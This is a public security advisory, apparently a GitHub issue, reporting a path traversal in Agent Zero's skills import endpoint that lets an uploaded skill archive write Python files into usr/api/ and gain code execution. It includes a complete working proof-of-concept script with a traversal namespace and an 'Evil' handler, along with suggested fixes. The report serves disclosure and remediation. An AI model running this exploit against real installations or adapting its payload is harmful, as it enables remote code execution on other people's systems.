Repository navigation
Description
Summary
The Skills Import endpoint POST /api/skills_import takes the namespace form field and uses it as a path component when copying an uploaded skill archive. The value is never validated server-side (only the WebUI JS sanitizes it), so ../api/leadprobe escapes usr/skills/ and writes attacker-controlled .py files into usr/api/. Files under usr/api/ are dynamically imported and instantiated as API handlers on the next request, so this yields code execution inside the Agent Zero (Flask) process. project_name and agent_profile have the same missing validation and can redirect the copy to other destination roots.
This is not the "unsecured connection" scenario: even with authentication enabled, a user importing an untrusted third-party skill pack (the product's own scan prompt calls skill packs "untrusted") hands the pack a path outside usr/skills that the server later executes. The pack is supposed to be data under usr/skills/<namespace>/.
Affected
- Version: v2.16, commit
2b0b3a416d80638379dc575798a4174ab4d3e1d9(main, 2026-11-17). Current main still contains the same code. api/skills_import.py:38—namespace = (request.form.get("namespace", "") or "").strip() or Noneapi/skills_import.py:54-62— passed toimport_skills(..., namespace=namespace, ..., dry_run=False)helpers/skills_import.py:157—dest_ns_root = dest_root / ns(no normalization, no containment check)helpers/skills_import.py:170—dest_dir = dest_ns_root / relhelpers/skills_import.py:289-290—final_dest.parent.mkdir(parents=True, exist_ok=True)thenshutil.copytree(...)helpers/skills_import.py:224-234—project_name/agent_profileused unvalidated to pick the destination roothelpers/api.py:244-247—usr/api/<path>.pyis loaded per request viaload_classes_from_file(user_file, ApiHandler)
Path handling is sanitized only client-side in webui/components/settings/skills/skills-import-store.js:5-11:
function sanitizeNamespace(text) {
if (!text) return "";
return String(text).trim()
.replace(/[^a-zA-Z0-9._-]+/g, "_")
.replace(/^_+|_+$/g, "");
}That runs in the browser only; any direct HTTP client bypasses it. Path.__truediv__ accepts ...
Reproduction
Tested on Ubuntu 24.04, Python 3.12, agent-zero v2.16 (2b0b3a4), 2026-11-18. Login disabled in a default install, /api/csrf_token accepts the default-allowed origin http://localhost:<port>.
import io, zipfile, requests, pathlib
BASE = "http://127.0.0.1:8124"
ORIGIN = "http://localhost:50001"
s = requests.Session()
tok = s.get(BASE + "/api/csrf_token", headers={"Origin": ORIGIN}).json()["token"]
s.headers["X-CSRF-Token"] = tok
s.headers["Origin"] = ORIGIN
ctx = s.post(BASE + "/api/chat_create", json={"new_context": "verify"}).json()["ctxid"]
evil = """
from helpers.api import ApiHandler, Input, Output, Request
class Evil(ApiHandler):
async def process(self, input: Input, request: Request) -> Output:
import pathlib
pathlib.Path("/tmp/azero_issue_proof.txt").write_text("VERIFY")
return {"ok": True, "proof": "VERIFY"}
"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as z:
z.writestr("probe/SKILL.md", "---\nname: probe\ndescription: probe\n---\nprobe\n")
z.writestr("probe/evil.py", evil)
r = s.post(
BASE + "/api/skills_import",
data={"ctxid": ctx, "namespace": "../api/leadprobe", "conflict": "overwrite"},
files={"skills_file": ("probe.zip", buf.getvalue(), "application/zip")},
timeout=120,
)
print(r.json())
# {'success': True, 'namespace': '../api/leadprobe', 'destination': 'usr/api/leadprobe', ...}
r = s.post(BASE + "/api/leadprobe/evil", json={})
print(r.status_code, r.text) # 200 {"ok": true, "proof": "VERIFY"}
print(pathlib.Path("/tmp/azero_issue_proof.txt").read_text()) # VERIFYObserved: the importer reports "destination": "usr/api/leadprobe", the uploaded evil.py is written to usr/api/leadprobe/evil.py, and the very next request to /api/leadprobe/evil executes it. The write survives restart. A namespace of ../api/<name> is enough; deeper traversals write anywhere the process can, e.g. ../../usr/.env or plugin directories.
Fix suggestion
- Validate
namespace,project_name,agent_profileas single path segments: reject/,\\,.., absolute paths, and empty-after-normalization. - Enforce containment after resolving:
dest = (dest_root / ns / rel).resolve(); dest.is_relative_to(dest_root.resolve()), otherwise refuse. - Do it server-side — the JS sanitizer is not a security control — and consider validating the whole archive entry list with the same check used by
_safe_extract_zip.
Notes
- Reporter:
vggoat0428; found during a fuzzing/audit experiment against the current main. - This report is intentionally public; it supersedes a private advisory I opened a few minutes earlier (GHSA-h45q-279c-64cr), which GitHub does not let me close myself — maintainers can close/ignore that one.
Activity